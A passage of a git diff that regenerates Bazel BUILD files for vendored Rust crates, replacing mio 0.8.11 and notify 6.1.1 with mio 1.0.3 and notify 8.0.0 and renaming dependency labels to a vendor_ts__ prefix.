-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.8.11",
-    deps = [
-        "@vendor__log-0.4.22//:log",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:wasm32-wasip1": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(target_os = "wasi")
-            "@vendor__wasi-0.11.0-wasi-snapshot-preview1//:wasi",  # cfg(target_os = "wasi")
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # cfg(unix)
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-1.0.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-1.0.3.bazel
new file mode 100644
index 000000000000..617822e3a9ca
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mio-1.0.3.bazel
@@ -0,0 +1,179 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "mio",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "log",
+        "os-ext",
+        "os-poll",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=mio",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.3",
+    deps = [
+        "@vendor_ts__log-0.4.25//:log",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:wasm32-wasip1": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(target_os = "wasi")
+            "@vendor_ts__wasi-0.11.0-wasi-snapshot-preview1//:wasi",  # cfg(target_os = "wasi")
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-linux-android": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__libc-0.2.169//:libc",  # cfg(unix)
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miow-0.6.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miow-0.6.0.bazel
index ff7ceeb231e5..373f357ebb5b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miow-0.6.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.miow-0.6.0.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.6.0",
     deps = [
-        "@vendor__windows-sys-0.48.0//:windows_sys",
+        "@vendor_ts__windows-sys-0.48.0//:windows_sys",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel
index 23106f8a48ce..cc4f5c0bcba2 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "0.9.0",
     deps = [
-        "@vendor__log-0.3.9//:log",
-        "@vendor__serde-1.0.217//:serde",
+        "@vendor_ts__log-0.3.9//:log",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-6.1.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-6.1.1.bazel
deleted file mode 100644
index 261a1067fb6e..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-6.1.1.bazel
+++ /dev/null
@@ -1,179 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "notify",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "crossbeam-channel",
-        "default",
-        "fsevent-sys",
-        "macos_fsevent",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=notify",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "6.1.1",
-    deps = [
-        "@vendor__crossbeam-channel-0.5.14//:crossbeam_channel",
-        "@vendor__filetime-0.2.25//:filetime",
-        "@vendor__libc-0.2.169//:libc",
-        "@vendor__log-0.4.22//:log",
-        "@vendor__walkdir-2.5.0//:walkdir",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__bitflags-2.7.0//:bitflags",  # cfg(target_os = "macos")
-            "@vendor__fsevent-sys-4.1.0//:fsevent_sys",  # aarch64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__bitflags-2.7.0//:bitflags",  # cfg(target_os = "macos")
-            "@vendor__fsevent-sys-4.1.0//:fsevent_sys",  # i686-apple-darwin
-        ],
-        "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [
-            "@vendor__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd"))
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__bitflags-2.7.0//:bitflags",  # cfg(target_os = "macos")
-            "@vendor__fsevent-sys-4.1.0//:fsevent_sys",  # x86_64-apple-darwin
-        ],
-        "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.48.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [
-            "@vendor__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd"))
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__inotify-0.9.6//:inotify",  # cfg(any(target_os = "linux", target_os = "android"))
-            "@vendor__mio-0.8.11//:mio",  # cfg(any(target_os = "linux", target_os = "android"))
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-8.0.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-8.0.0.bazel
new file mode 100644
index 000000000000..43a411a44ef6
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.notify-8.0.0.bazel
@@ -0,0 +1,190 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "notify",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "fsevent-sys",
+        "macos_fsevent",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=notify",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "8.0.0",
+    deps = [
+        "@vendor_ts__filetime-0.2.25//:filetime",
+        "@vendor_ts__libc-0.2.169//:libc",
+        "@vendor_ts__log-0.4.25//:log",
+        "@vendor_ts__notify-types-2.0.0//:notify_types",
+        "@vendor_ts__walkdir-2.5.0//:walkdir",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [
+            "@vendor_ts__bitflags-2.8.0//:bitflags",  # cfg(target_os = "macos")
+            "@vendor_ts__fsevent-sys-4.1.0//:fsevent_sys",  # aarch64-apple-darwin
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [
+            "@vendor_ts__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+        ],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
+            "@vendor_ts__kqueue-1.0.8//:kqueue",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+            "@vendor_ts__mio-1.0.3//:mio",  # cfg(any(target_os = "freebsd", target_os = "openbsd", target_os = "netbsd", target_os = "dragonflybsd", target_os = "ios"))
+        ],
